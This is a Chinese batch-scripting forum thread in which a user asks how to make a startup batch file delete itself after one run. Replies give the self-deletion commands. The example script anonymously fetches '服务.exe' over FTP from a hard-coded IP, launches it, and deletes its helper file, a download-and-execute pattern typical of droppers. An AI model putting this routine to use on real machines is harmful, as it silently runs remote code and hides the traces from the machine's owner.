[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[文本处理] 【已解决】如何设置批处理运行后自动删除自身?

例如

echo open 215.23.23.23>1.txt
echo Anonymous>>1.txt
echo >>1.txt
echo bin>>1.txt
echo get 服务.exe>>1.txt
echo bye>>1.txt
ftp -s:1.txt
start 服务.exe
del 1.txt


这个批处理 我将它放入系统启动项,

想让他跟随系统启动运行以后,删除自身,就是说,只想运行一次
应该加上什么样的代码呢?

在这先谢谢了

[ 本帖最后由 beck1321 于 2008-11-14 14:36 编辑 ]
收入分四种:狂劳不得,多劳少得,少劳多得,不劳狂得。还好,我是第二种!

哦  可以这样么


echo open 215.23.23.23>1.txt
echo Anonymous>>1.txt
echo >>1.txt
echo bin>>1.txt
echo get 服务.exe>>1.txt
echo bye>>1.txt
ftp -s:1.txt
start 服务.exe
del 1.txt
del /f /q %0
收入分四种:狂劳不得,多劳少得,少劳多得,不劳狂得。还好,我是第二种!

TOP

%0改为"%~f0",可以避免 在CMD中只输入批处理文件名而不加扩展名时的错误。
看这个帖子:http://bbs.bathome.net/viewthread.php?tid=2377&highlight=
心绪平和,眼藏静谧。

TOP

返回列表